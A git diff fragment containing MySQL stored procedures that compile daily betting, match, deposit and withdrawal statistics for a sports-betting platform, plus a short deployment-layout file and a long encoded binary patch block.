(create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee,agent_id) + VALUES (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win,uid); + FETCH cu INTO uid,rtree; + END WHILE; + CLOSE cu; +ELSE + OPEN cus; + FETCH cus INTO uids,rtrees; + WHILE s<>1 DO + SELECT + @betTimes := COUNT(*), + @betMoney := IFNULL( SUM( t.money ), 0 ), + @betperson := COUNT(DISTINCT ( t.user_id )), + @fee := IFNULL( SUM( t.fee ), 0 ), + @lose := IFNULL( SUM( t.money - t.earn * t.money ), 0 ), + @tax := SUM(IF( t.earn = 1, t.money *( 100+t.odd_percent )/ 100-t.fee, 0 )), + @wl := COUNT(t.earn ), + @win := IFNULL( SUM( IF ( earn = 1, t.fee - t.money, 0 )), 0 ) + FROM + t_order_item t + WHERE + date_format( t.update_time, '%y%m%d' )= DATE_SUB( CURDATE(), INTERVAL d DAY ) + AND ( t.`status` = 1 OR t.`status` = 4 ) + AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test = 0 and (u.tree = CONCAT(rtrees,',',uids) or u.tree like CONCAT(rtrees,',',uids,'%'))); + + INSERT INTO t_agent_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee,agent_id) + VALUES (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win,uids); + FETCH cus INTO uids,rtrees; + END WHILE; + CLOSE cus; +END IF; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for RecordbetDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `RecordbetDate`; +delimiter ;; +CREATE PROCEDURE `RecordbetDate`(IN d int) +BEGIN + SELECT @betTimes:=COUNT(*),@betMoney:=IFNULL(SUM(t.money),0),@betperson:=COUNT(distinct (t.user_id)),@fee:=IFNULL(SUM(t.fee),0), @lose:=IFNULL(SUM(t.money-t.earn*t.money),0), + @tax:= SUM(IF(t.earn=1,t.money*(100+t.odd_percent)/100-t.fee,0)),@wl:=COUNT(t.earn),@win:=IFNULL(SUM(IF(earn=1,t.fee-t.money,0)),0) + FROM t_order_item t WHERE date_format(t.update_time,'%y%m%d')= DATE_SUB(CURDATE(),INTERVAL d DAY) AND (t.`status`=1 or t.`status`=4) AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test =0); + + INSERT INTO t_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee) + VALUES + (DATE_SUB(CURDATE(),INTERVAL d DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0),@fee,@wl,@lose,@win); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for recordmatch +-- ---------------------------- +DROP PROCEDURE IF EXISTS `recordmatch`; +delimiter ;; +CREATE PROCEDURE `recordmatch`(IN d INT) +BEGIN + SELECT @matchs:= COUNT(distinct t.match_id),@money:= IFNULL(SUM(t.money),0),@fee:= IFNULL(SUM(t.fee),0),@times:=COUNT(*),@person:=COUNT(distinct t.user_id) + FROM t_order_item t WHERE date_format(t.begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY) AND t.user_id IN (SELECT user_id FROM t_app_user u WHERE u.is_test =0) AND (`status`=1 or `status`=4); + SELECT @allSport:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY); + SELECT @cancered:=COUNT(*) FROM t_sports_item WHERE date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL d DAY) AND status=0; + + INSERT INTO t_sprot_date + (time,sport_number,bet_sport,bet_money,fee,bet_times,bet_person,cancered) + VALUES + (DATE_SUB(CURDATE(),INTERVAL d DAY),@allSport,@matchs,@money,@fee,@times,@person,@cancered); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for RecorduserDate +-- ---------------------------- +DROP PROCEDURE IF EXISTS `RecorduserDate`; +delimiter ;; +CREATE PROCEDURE `RecorduserDate`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT user_id FROM t_app_user WHERE is_test=0; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL d DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @paymoney:= IFNULL(SUM(t.amount),0),@paytimes:= COUNT(*) FROM t_app_wallet_record t WHERE t.user_id =uid AND (t.type=1 OR t.type=10) AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @drwamoney:= IFNULL(SUM(t.amount),0) ,@drawtimes:= COUNT(*) FROM t_withdraw t WHERE t.user_id =uid AND t.status=1 AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @sdrawmoney:= IFNULL(SUM(t.amount),0),@sdrawtimes:= COUNT(*) FROM t_app_wallet_record t WHERE t.user_id=uid AND t.type=12 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @betrealmoney:=IFNULL(SUM(t.money),0) ,@reward:=IFNULL(SUM(t.fee),0),@bettimes:=COUNT(*),@betwl:=IFNULL(SUM(t.earn),0) , + @tax:= SUM(IF(t.earn=1,t.money*(100+t.odd_percent)/100-t.fee,0)) FROM t_order_item t WHERE t.user_id =uid AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d') AND (t.status=1 or t.status=4); + SELECT @betmoney:=IFNULL(SUM(t.money),0) FROM t_order_item t WHERE t.user_id =uid AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @ordermoney:=IFNULL(SUM(t.money),0) FROM t_order_item t WHERE t.user_id =uid AND (t.status=0 or t.status=4); + SELECT @walletmoney:=t.money FROM t_wallet t WHERE t.user_id =uid; + + SELECT @rewardMoney:= IFNULL(SUM(t.amount),0) FROM t_app_wallet_record t WHERE t.user_id =uid AND type=3 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + INSERT INTO user_date + (user_id,order_money,wallet_money,pay_money,pay_times,draw_money,draw_times,bet_money,bet_realmoney,reward,tax, win, win_times, lose_times, create_time) + VALUES + (uid,@ordermoney,@walletmoney,@paymoney,@paytimes,@drwamoney+@sdrawmoney,@drawtimes+@sdrawtimes,@betmoney,@betrealmoney,@rewardMoney,IFNULL(@tax,0),@reward-@betrealmoney ,(@bettimes+@betwl)/2,(@bettimes-@betwl)/2,curr); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +SET FOREIGN_KEY_CHECKS = 1; diff --git a/部署结构.txt b/部署结构.txt new file mode 100644 index 0000000..30fe085 --- /dev/null +++ b/部署结构.txt @@ -0,0 +1,17 @@ + +├── application-dev.yml +├── application.yml +├── echo2-api.jar +├── logs +├── nohup.out +└── upload + + + + +├── application-dev.yml +├── application.yml +├── echo2-admin.jar +├── logs +├── nohup.out +└── upload \ No newline at end of file

    =?Ypge?a7`Z9DZ!gIfuXEaL>i~tvEdMB+szD4Zm}>opZYj2W@{h4%)sSehKxpJ_j)lr`S)Bu>W$y&^}F!m7sH)PPU3z}e4y7$aX4$)NiBmi ze9(*Gnzr;a7$5OscwVM)$6zE5f66qzD0mbH{my+1ALIQbaM1Tn;^i;;u@YYSqD^}h zp5ndad{i3W{-W)Z@4z!J+VaifU%eRCbYvNQjYluqeX7A4_NCX@J>+?K<2Ckoz?bJy6t=;z`2Yr-9M+&^D{U$TaKX}Bl09p2vCcfdh^hu9GZ{Y_S< zHDNi(z3~-fCCKl#s>rC&Ut5HO-b;Kb-r4J2@UA}2Zuk{mzY+)SzdH_k@BLNyAAMS4 zIOy?F98atXJFMq;KZ#FT6TVi*_wQtU%9^mDj^6=I#X+CzGHng_Zdsco8G*KW5(jPb z6m1q*JxNBO^@Vt)x35~m-&tD|{_43#o$|;iwZ^`8()ji@w!C)Wpy!Kr;(NWm4+pKk zj)NXk?`OI}>RB?X_j&^!`D=q}roGy~_wnLt`|d8m6V>(`+aw-U+jnJ9!?m6o+qXF% z2fYS&0iN&m0=#979e1?C+tk?pMq9jnjU9t@z(Jqe(-8;Vhv|fa{yn%t9CW&h@K{aQ z?NOeU9mk7nY|JHiWsRRp#H(v;-?9cz)z~_p#%pVA{B`)Dn(*Qj`vxJNsnKn6ki|b` zJUl}$_zeHt$NU8j`aGY*IOx9j5ghb4&i}!`^!isgX#1~g!UV|Q5>1jRkmu>8$;j)$ zH#pdHxA4fv5WK|ve97*~FTi6j+5C*-#V^_K;7ahsOLlH2iI4R*<8aV@%kemDd^R{I zn1E0AHdFAYyiGX{x^1k$D_^qX@hUv^k}a1szU!rM_;jA@^%@S3J;C$gcjFnaXYuGI zTla#O8UM?64{!lq__B?^2#>vNZQ^+G%b^~3m*Ax@+cGM{6EFMU9>r5H+kH4`JoB zZBvGWJ`Zyc4m)`kRxlU`T{ni{pwE*TijVO39f^Z}FF%TdK4;@GJh9Hc`;z$Nb+#O* z;N?D^3VhBw`@GD>=dZK%e*wPG=gA_xa-FS9Re1F}``p#wDIZT7&#bfKvMe60vuiZL zdiJ;1hlL-p{mj7|t+(Z#i-Vqv$iqRW@g)58^)^4xz|Zvdzr{iKNzTIW^)~n6{ny*N zIshNx^^rK}HtPHMxd{q zfG_m+i}0mBwq^Kp-ski9=icTE9JJ5FIOzKx!QmF!M*Rl|9siej{d(JGHsIfR{d*jA z3_svUy?zV_?ej+*^u2ze+Fu#xS+ z#_+t+{N0TLJhst3BXPXfM%(Y|jTdj!DkoOtl|Mq^~!$0)t{Rq$aJjvqqoBcO&_|eU_y*h?Ro9%B}1zQ;N z7TYc*anSQ)V{y=ZuyObVuTR85&!b>L}y zj*ofnmM{S_ElIKxWDHeg1iH@5!xwm;3vtkCS%ibWS0xTQhAJGkzrp$T#W-mDCHPVw z&ocZuAH(xF=s1_-tGxYce2v$uw}km1V=Ew|8h@{s@O9qLdOYRr)A(L*vkwOy=j%A= zIQMS}3qj6p7LhTKF~rGYua}UeAnnV@1V}$ga*o&MlGPyn)Q~BV?P{7l?DZpL1Uiie zaL_Tlfgkkgt;Iptt2+GO-u^utwEg=yXg?p|p!4=a{3EYtaL{@d2i?wpjDz<72@cxN zr}*dI<_jG3y$){)b3tC4N9KdHFCb$eZQ^9)_239z@AJ6<2krmAIOur3!@u|bf51W8 z{2vawzWome9m7%H3uFv&vKL63-ef6An=*0~NSo1Q0;JC*nF48(CNm)GPnN9rdIK4O z&YxrWkN&TP zJ2Z}8z18+@uEDR}YWw`x;n#1q{iqx8K3?yO-?`QLylZQig2h!q+ccSh&a-ohvSj4- z;BFjrpRFJMp!f3-{)qSAA20QK89v1OABqq2`tYq`0^}GuNsfmrU(UI70$K0%22zmY zi~o{GLG}ZWk%Ao4{YVNj=ATGGt`Q$61?m3;8G*D3M&O{|Wg~IW`S~agdQZq>IOy^F zC>-?oaWww8w;zKiyw4<_+G@WOPvgUn4!Dn#L>6(qt@iudD(E2)>%ydGSPxA*oP@Yt*N zTlF}8_p7#i`{Bi}+WuY%KJZl=XDJSPuW}h)?c=GzQ{GP+f8G1pkAoho9>8mT%yl^E zw7iLf-W&EWJoBpUlVtJ8`w3Eb%GR+U&9dHZ_tGb~vwXMPKJe4{ob7fFVJ@EXdK!nd zMclix9pAA%9Q60RGlQKtoHUqow!60T-C^}K8NKE0-^StDpBuFa-ogLv_4jble%{AF z@cM^%#_L)9Gp~P+*L%GIKkDy$3| zLmn9eX&)z}lXlp-`jdBrwT-P_N7jR!!*3uXuLn&SC&=fnfQ*4`C*x$~_25^$7wG&X z4}-KnLe_({Zy+PD2dB^;I@S7#lf@uyO2`pjA4w*>o+Kl$ z2d6PzAnohOsG0Q>G{?{0VcXai^bhj)V&ddckTD-4Bhc;eIXLM3PQSwoynZ3`9ORr^ zn#{o7v-sX5Bhc4gME@YKjg!}c)UP9pLGINlA%}Qw# zy?@D$uqDX4)QW5avaYrz8@IQ56EXrFPX`=y-Rp>ho?q?6I6+<;CyPPHCiOxaPn_%p zvLDi$>;uxiFZm!ypAV6xAkRlCBO{RZK@r~7$IuOrvF^$-Q5-Mc5q6X7%O!Z}4%_~h z;e&SAb^O72Vu#)1k;EtO2tWLo=Z{Un%XfrhE@{=GZYj^7$X^#Uw6BhYnnJ!1puzkrN^)Z^kCtR5#5 zAoV1f@_L$#BJU@7jrsYS&riJ9Yqm^#uu^;0D@*wkKmC?c-$B z!|Fj#9CW|&PdMoJ!i_lSHN=~ChiQ=4ZYMJ!eP+qX>%q-9=zjR0anS2!x8R`1JG~eK zNIgzQAbkeC@xS;O{)*q~?|a+suo=i}o0DgQv~NKcf{e3>jCnmyX1tyyBhdG~9S0rH z9XROsU>_WG8vEj)_buFsgC1Ypg@g8UHxAmSA71S9xdgv|w|y5sfP3@5MpKa32o3ow=X(4_KdRG6Eg{ z-*M3P|G*#g_kCz@7y~&Djg!$3?|&!``nem1gZ48VAK|YZiG%KIJ&J?Q+sAOw`l!8O z0^~R=Nv1&drPE{t+GaF9$;UPs2kmDH4tia9Dh|4Qr{SPun~sC7Gf&{4^XEw%bj(lT zpl!-=_~bpF?@@t+_BjIweXp4~=-6iApwB0K8V5aQe+GxOvJX5P2fcYkr#;BD#K~(xw)5AKH-Rk2o5@~Y?@itcaz5%d zvJXfr6X zLEfu|Tnp0YI&ve(m^YCrkoIY^7UbMW9r+f>GXviy4}rWkBr_m=X30-Mmg#5YVURXQ z$p3)!`6c<4*S{v~LB`oYMxe`R0S>y3E!-Qnue3fpkcA-YKoJ=OS&nfs0W!`cSqZWn ztH|Z@Z|*5tL9PNB&uX$7WPPh4Q=rpJMxf_{s`he^lWi07$Ov>jT+DKYo_liImysht z=J`l61-gwQ_kg_DUUEOkcn**e=yWZ?LAMD@anR4gG8}YU^c)Vl&OeVY_x3CBlz+z4 zc*Z|FS^QJ4f5tokS*A%c0$t}n-y1dq8C!Gm4AAp1WP6bL-+?RyITk1)yL!DF*&XEE z-Bn}^WLo0n)gWWOhP>A6*O3wEGW`Mv-EJSoLHAFN;Q#UI`Vt5I{Ck+%=_@twZU z=1&~&vCr1Yp7>4s?7o7V@m~AvI$CeMc%SWCmf)rP?7Bc1p4eyeJc(EAv-g^Tuit0i zH5>4a`)q8R@RZln_)c%Xi@v|G`gf!t)ABtT)qDE}{CjWz1Ag55Jb_31{2ch}>`T9H z_cUII-|)IUXSfF*c|F+A^91(W_V!Ht?ESWVZh@b>-}Y_J!`tk)>1vB#;`MfTdvD(X zFZ6zj@R--*crRS;HSLY}@p@nU?)|o})ekS;Z}X}Ie{jG3mg*rK>MrM50T1J)UN6HF z`)#=-@df+s9L(bLY9SCbn59m3K zI`RUut+whdPPvf<3 z*gUMmL4UvVCJuW4#=qX+Z$n!>Nk)gf9=;LwdjAdG&h#cD(DNG~;2(KE8632qEFQgK zpReE``>O}-UY*>7VW#mxeLg^zjG7*_`w~yZVc@0Qt9cp@`rQ6s#hcaIGb@_c zhAlznVJkBFO|8w_)A2KEZTX&w|F$-K_cC647JjbR&%@8J4gY*O>&XQ;=(5PK4Rb-K zoy-TR7m(dS){U#k7)YBq*$du@<^8@l`5;J}hsaWp*Ork9ko6}?MlF4MTh)f6TG#65 zYc!bvnLkN#BS=4+$duR9WOT8=whazCKilG<&+)hf2Yu#AI~=r4dmP&Qk#(R0-qGuw zaL~WgQHaA8m*!m-6ycZF+A~akk9V%M&tMlEbXi=6!;SKcoy%*(;~<~+6J!MPe4d~y z4*IN^ZaC=n;R?LF_jwim2e1DTk9j?g-%uOg@kf?j4;+SE#j}Ze^8X;~RTIhEYwh!R z2g?pdbjiCokBmU(VbBM^%j&`1_}{!q)%4Hk>=0XSP(}Gko68tPL|D&r!*e5$H32X5n*u40G{CwRSIMB`(P4rHWk6 z^cLYOm|l?erwLgPGF=Vi_aNJ%AIPI#KSoBN>+=gZ$hsP=#8>(Iu4df^UAM^?NdIxN z)azwZ1G%?zB$)u&W+utv7wxqr2n1c zfsT0%(+E0^1r=eB&+n)>?bs(Ka0Pv-1iLx_y2XPx))p_>S7Jq#Nt!PJFl5_u!!I_u~7#p947P zXW1haxYJlwIFTk$P7GCme)Q@)`PrP19=>z%?UDgfz{(=G_o$djrR&3#bM;Y zylaBTm_MNNhm66kV{$K#lf@vvUnn6HAg@i58IbqNk`d@{a7N)E^lf|I#OD3SaEU#;ltOOZb6}c2-eON~B0cpRN%z*ThB_ojaGnhdC@Xg~a7qSmX zo4#Z*$kOZ zehRYeJ|mBV^nZekydF%f3mb#<--K)iGUn#w*&ypx3o;*M{V5>3f{dXX*&TZH&%698 zG6uSQr3R0@nbWo>c@xOGod16HFt>XRry`6l9s6N;U(TmgZzWNSgw(*y|-^0_1&@ zWCSvQf+z8E|Lj!YpktoF{GVxkX30-M*459*;%96;CFDksem0R2=xb-!g`+^`&uB6M zvK>p3l^|`Z$Q0;0Kt`ayLz%<;2kA3T7K40_O2|h*`sq(5K&CxOjt5!yCXkgdadhq# zRb&dJpES7#r2Sqp1G2obWCS`N=Heh@4(8#{+HwizGe1GbRzSu;x94Or$ZJc;1jw`` z$*9u%sbaZ+v}sP}gZ!qcKoX>%A~FWDPR7YzAYTtMmRB8l2xLBoWCmo+ zS@Khm_Mefl#nw-pEQYVgFn`EOkoT%0Qy}frWCmouWyuJ1{x4x(fqY&H$QbB%1Q~(! z6D*|-$k+GAbkce;4ibhM_-%5^?|vKr+3rH0(-^-W|7WErK&+W%+iyyK&)(m#Aj1_(7nO@P1*MFCM0 zMFk7a&^w8Mz^*G3E4aFw*j7|@#*X5eth$!9%qS?j#l*GlPj_dmpr8qTE^USygg}Cg zQ19<~&wKuOKHn$jbMCq4wsXtenSk`Op4<#FuQZtf>06d;0I9Q|JPI=37SaRRcFqTk znILWY$PCDO$dbE3*7F|HgP-cyULUd?VD=d@1ZEk@ILN#bWD;aOq{s}IHp$%}b@q^f zkF-BQayZDbe*rlbWV?(bBOue3lTncKLX3=q^glr^1F659OoG%;kr|LWS<kJAU%+IIsai=Fw0IxK+4O>C`g+z(o1T8oD>e` zy67|fb3MkLFYqt5Kh9S;n0LIt##h>XY!wdXc=-kgS^v(r_-gHgvj(rT^QyUwt8 z;b5+R*5hEd`vx3jT{#x+Ot+&RT7!)mlC`Uu(9n zlY@g zt~i+A1MIdo-4^6`X7b2$n83oynF)|La-4mn-rp@j+nDb^2987snywLWo z7Y_3NztbBB^ZsEU9HdRBXl*(G(w`t10_jhfjDoZoBR!D*IDOZqGa%(z(gQhmoPIc% z?HItp^e0IBAkzj(59GLZ`m-KD%JWDM%yt=ogQ+u+Iw0#mkIVXhKaZJi775q6!7#3QzTIS!`HYj7~jek~5B{p)aW5?qsCkKee~+^0AT@P&4t zya~V8)?bW+Y4bk(e%qfY9h<=1gA<;!p|(=Nxs^#2VUQv&3ae1HfJ{-)u z5clI?%A+`#ceG;o6YKP|m8E#qI{n?VY8=exwtvB&w)LOE!IVFXgZZAwUvV(y&*3lF z`Y+-y+csap!PI#bkJ~y49L)E8U&B|}`fuUi*uH&>ueRlD@b$KQ0}kf5+BV{zZPQuL zGOka5wpP9;j#sTWpZPk~cznHnu9U!+t=DB=j)VDJ{tX<==ecjq>)yG3|ry{_{tzHhyLU#0>7VZFWsZ~$+#<%jUYww)#%%=c@Wac{kT-sf!K z9JE0{+iivCZqV$oTt@9ub=CkaF@TIo= zN&HPa?Fu|;%Tst}gPzN>xM%y|Y~(YJjk<3Ac)><}SEmr~wNck+Zyd~e?t}NW<^Ax$ zMqO_~ym+JjCPN86e53BS7vQ0d`WbN;k8IS>%F8#Vb3xu!@R8nvjrz{pLcBuDok~2q zQP*J%e{f@Z`cwRl3nc^H3WWBTELI6>!8{4rZ+$;NaPR@69!G16OV>pzJn zZJiYE+4h}H{KnKKea~SQ4(2_L*_+aRDmR(WJ&Q;WO!=)inD-)X!*AC*&K)?I@;f)B zb3xwC@R9f4rPD4Zqafum(gX7@)*?J=r;Xvwn{>ZDf`j>9#*etSNqSy<@3*g^{qHuL_ab7X2j=%rzQ^lq{dycOPH-Msi?6rqWCOn0 z)=A?T+lMT^+m`Ra_u4-1!@=wW4a^s0UNO=Gv!Cq8f3Wor;9%C(K^*kAjPOIYpNDZU zb(-*>?0kR5!PNf+2eaLO#gE$lx8Pv*pJO=c>XM$3IvGk8IK3x_lHDWm~Wh06}Mx%e`2EJ&Sk6v$O?*0J>bM8KX!*37q9_c~+CtLq#mJxo+w7u9zego3}x8z2U_BWB+ zZTSu|W6QJTL0IuS->^pV1jw`}Ne}LDaxZp%*^&+&)ABGG1!*%zddF=aPT*krd~!?r zbC5b;kiyfAZO;6X+-%F!&5**n!)=CTNnzu@Hs|dmg?sMw zowJKP05Y$Gq;Ph&?U{|FFuAeKz(b@kGu!r@!=$k6K%3$wvKe0cmoIdL6dwAaP05es zuOMw6C570bHYF{jQ1=(#uw&$LkUA$wVb-v=15c8|9}cv+=oEPxq>e`lvTmJIIGA;H zdQ19Zko9~C>3Oz}vz1HUt>$;I6Ql&CHkM!Ew@;tnwowgGWX3Xh~=i72W-pkhSjf0t29~{j09g6Ugw)|oo%zIFm;9%-p zN*klJokDUj$e28Y^g_1%Fg|)~`nRFnGo3N`xUK0&UTZVd8IPB4P53!mP`0#D|8@U(YAzL2COSh%XyV+%UWSi|X9^IzLZw!xb)88{s z;5FOy|9{ou$!&VAn8Lr|L z>Gvk`{|mDCuiNxHiAQmGc{T6mwcw|1xrc)(ceb++Y}fw#@h;o-|EhPzyKUFsx9pA= zY}fyVT8Ia1c@Ph6*XLv5?deP5{r6i9xr~gC-kxst0l(u%dhq@C+}DiR&OOt1a~+-_ zlOX>OB1L9k+xt8tB^%%+%J-9zvD?!#cy?M&UI+3#7I&@Jxnhq+}+dlfmEGCH;t;em{ffk8ZErw!xLjP6S@Jf6|9 zD}jS~@BK9#gJ9 ze_-4B5dXxMe~SOtmj4e2(}yGurf(@clhNzCEZ&sSv91~S>@qr8mN%g>T6R5mw`MwthVh=6ecjaWMP;I(&Ur z*VP7mqwT{cd~-H!&cA6K%=&b3Fn!*FgK2Xs4*O4Xf3ywXVcW^zVCrOXFRSB>vy*2v zJM|pe8t=7J*LiOob zKaGQVmgV7K&fU%~+TW%3j6odazQE~^hjy9!2q%n}?$Ud-GCZN1H$9L&5p1^B%>GPjjJh@AM4=RO!u}jzOm-tt^v_D_tD|hL5vI_Th>AvCY=2+gX z=U+eGf446C0Q}6|x}Oim!8}(Sf{)mpJ~f2zhmOQUyS1NTeEe=*w-azM@7hho!5lA> z@M(5l({V8O3p4Q2-TGU&W%w*xJ{t!!?Ugu~d&xQYT-(oi_;t3;>+w5nKmUZ^wL5)& zhI7Fp9L%_SHx8!Fd+>YhycXk8+hz<;?oJ>3oa>Vm4(8p|&+yN8>$~e;;9uMFl{m=% zj&xSxb+)`7U%OlPjdeIQe93xSk8ii-JMheI9sjd<({6qDuNgnJTestB9L#v-;b4v( zXAk?>p7gW~<6969?a}MNFkZSx>y+VF?9tY7?A7t)QXI^2eHjksx$!7GWb23V$XVEYEUbR<$+qoKlX0MJv&*JgDI_@R#d(MSZJjb4%(PeFVEQ%_hxg=rwX<+AeVC1d zj&Jn&O6_NijDxh3ATzc+OM154nS+Dr&s-eLvd_b>w)35jgSpR*;9%;P<59bx#PB%F zvc1h9CxO@OOV9d-=U}yX(zcVrL9Z+DjNPVLyvfeD8Ta<-dDdy*Jkp@sdH{ZAgO(4* zLC+)j5L-SJ2Xo#$3lG`yFdk`0n`i0e_%#i>&tHpQ*PzRFJr3r&;szYd^4^Fqu;mLI z(zzhd2YjRl=J~@-_#d>~`6CYUjKZnF!8}i>#Ba0pZ^ywr+q|P8eea*N{l%mQX1;gf zV5VJ!gX!Dd4e2Dvd{d+cW_{j+M{WHWUe%z-OEvyngN{+p<1aMmHP4IqE4KVq9L%*) z9EauKIRPhuCmZy8Nh$n`2K_wfOZ=+_9f!Zh!F*1%692YAuVYu^VD{TJIGAU=-{Idk z=>1L|4(3>{$9LFe$>3oAA4C>!vfH#7_iTM-)BB%mHPZ3nZTF`idXC@x$;0#a zrw=~qTbT~X`jTaY|DL9xhYAO!qxR{1dKcJt3%)r5npQSjMb3qv%IiTmJay)uK&pR=EiS5JVIP_l0 zJ?|4Zm}OatgBe4f#H$XZUyt$*Of~*jJFn;P=k2&n|>UYAyd`8n5hiJC#MNU2r=J&z; zc$dcX^AGb(qbm-kyc-Uto$h###`JYNX}>29=Kqux;9!22tPlq?uUO{mr+@IGEpqoq~f|4^wgIzm@Ba zX?Q8?WFhOS3p!icmp+>e zcOg>vnnpcdzQe(cncw4eww?OMbOFe-ltQu?-)zg%c*fSx;$EYUlg=UbfkV1nVLWn3uS3f5YY(N*-Oc^xbvT%D^?Dpk z`3-o5Ew99*hxEEPhCg;l|F7Q?9BvxMe)2f}=R_>SS8?Xz>3apSQ5FBm`G=dhl4iVml9K|Z7Oksg@s*cb0->jdzi zE$@%RsaBjj2Hd|Q7w4yOD998CQS zaWLf<;g{O-%kYpb5986pdLEDARfqL|>r~_M!@55ta4^^Qui;>xjl7P7DPM*!x8-l( z|Fq@*!fR}KE&kDA{Vjrz@lOux_WcxxyT9Td>c9B^4yV8Vf@f|?9LzO93SW6x&qu59 zy2H9p*5jGO`a2R?eCJ{P+-eto;IO_oeh@!w%bRd8?~^y(UWoT@(rwfS57_b`KCCHy z;aEP$IU9$~|K&N-IXEo+FW0)~Hl>$?)Omvx7IbKJ)|=!CkUDRXZ-dnNJDG%+M&}Gl zk>A+zZ%N^qa86(~DQtVwH+T*C9n_7g|7Y@7TYi)j8sG5sZ6SqQN9UY%j1=ZG-{Yk4>~DPiPmsdNa8Cb|k|6D$A_XZw zO$t)(k%GI7&o7Fb(yc(sbI4p+6V55|k;1^SIfGi0g4E#?__S~i>!d9y$TrF&1u1Vw zwg;)-ffV+!j2+2N@a7x7Gdh#PqzNlY%UJ33(pKvYbx}GVO3ukZp7UDagKbAvpr1&PeiNkUE!; zf|OrM3exAxNI}-;DDrZUIw4Y!eJM;%v*puCL8hHS3R1t66l7bJkypUfXM9C7NkP`_ zEK-ntayBW*esU!#NdM=Mg0wl86pp{{J8K>(NcnF_LCSwiUIo(T@5rk`mUliGf!oLA z6qS>LOnVI}{9%Q!_qF78Fld=?`1Pb9b#5R9Iqq&G7l7>B3(1=yIXdT@TS!6b|A7=_ z{P`nU0kXX+NkQt|O5P4LR`>#Ukb;!oN!|srJ{OU9gUst5axqAq`$$2K+55>T$nwU> z2SC=tgQOt!A0h>*^Dy}cNPiwB1=+72BL%6ygnS&N{U^w!Aj|$F`Dc*jeTu9CIZms| zzksy=H2DljJI|8OgVcY46r}t`Qjl@)Z=@jQFOh<5_m|06K=zqeNkQtwNukv!-1-6qrK&H)*!fXF)H7HB&1liwqkqsd0XFqumWVH8BYw13N2@-ul9#?gKY>4B_Ir=%$@$T8lE6y!L~Aq82+ zTrwYIJ^0B&IFs^Tq#)aAmzoR@BsUB33;9^ zKc5^9QvU+-Lil$$r}ssqAk&T@F9tKNl9zz2+e^vIKm>dnV-N%q)LB^$V zAnR=!IUS^(8DuHQvXqgtK>9G7yb|R4 zVGcPLr2afokUsy06r}vO{pA)`#{#={bUr{j?F2Gk%AmM50FB; zHyJ0%hd}B-Og;iK-$%*EK>D+Ue8QG5B?UQ_pCtcm%by~vK-PaXx!jh&L9PJVc5jhy z+w#AY|A66d`ilNZ{tM*X`VJ{bA8JUUkujl`d>3S0{hJh|&U>UFb>1fhsq+CT$Qb@1 znFLu6DN>OBd`1egZa*hig0#7c{1&90)ubTD*BbIWkZHds>p+f$dU7qux>`qW1X-V( z$ju;i(xhw4w~*e2IxpuU`UP?>$Rj&|TvvA_JAw44Gno(4A3xazWLtM7yMbIsbtij( z%&R9UbbZ$sC?EwHZwtvjAZ-?r0g!2fWHCsaCFFS^*Zk*`f{d%fNkPWd3&;yW+PR1v z0n)dT@oCUJ4&L*z}Io{`xb3wMzJTd~Z|CE!0v~vw9Ncpwobs)=fJ$VC2 zog2voAnR%&83kDnF;b9o$^+y>Ap6+EK-$gg9a~;Q3Ud8WOTG)T|NNU2WZL&gLAKZXq#)%Vkb<=NAt^|oKOzO$Z$Bpg52XGl zq#*S_B?T$}FDb}2{U0gFypp6K<4=mrfYi^D9?1H4MzGJr*R5L>1j)hB>y_4lA!IRx z;;jdikmtc=Z~M+UpBw=)hKwXb5UKT@5hf?XC2#oxlgLtd;+56|%E-AO?aU)1AlE15 z*Ph`-5}fg9x@6t-xwJOnKnUw1k(SHNe^UNXC!{HF0XS5 z`##9}%pr3@_7fi|4C30pH7UsYX+yRJ*$48-4z|1_*~yl7CI#tFJ}F3>ezFTlJ6*|c zAltM%+0&L6kb*2%A=%58_a^&*j0r_#0HhB=vKVB)Dk0AUY5#n3IIL!zynqy>{6bQw z;yim183Gxf!{iu{I%CQ4Aay2?lR^49g%qUzR8o-o)5ubgb5j{9NS!N4LGFKNlCweT zUr9zlj^A=pkmKtb@;Z<@*OLoC>MSG$S;m`4LE8U4DM;ULCIuNMZy|-!H+_TtKnl|4 zAIS=k?NUh!GT&QCLC$x#k+*}KzwRLK1ex|vq#)DYMGA8Lzlglsmfu4P(zkob#URt( zM+!0y+)qY9uC-$1V<7v+5^^cXv`>;%Aj@7&K5xrkAYTMo4}T+H1!+G{3eskRd<~?Z zuah+(b!y3X!HhrTdm!_DpZoyi9Qq+C$g%&Clz~k9G5H^mvEu*8B*-|KA_b}Q87WBr 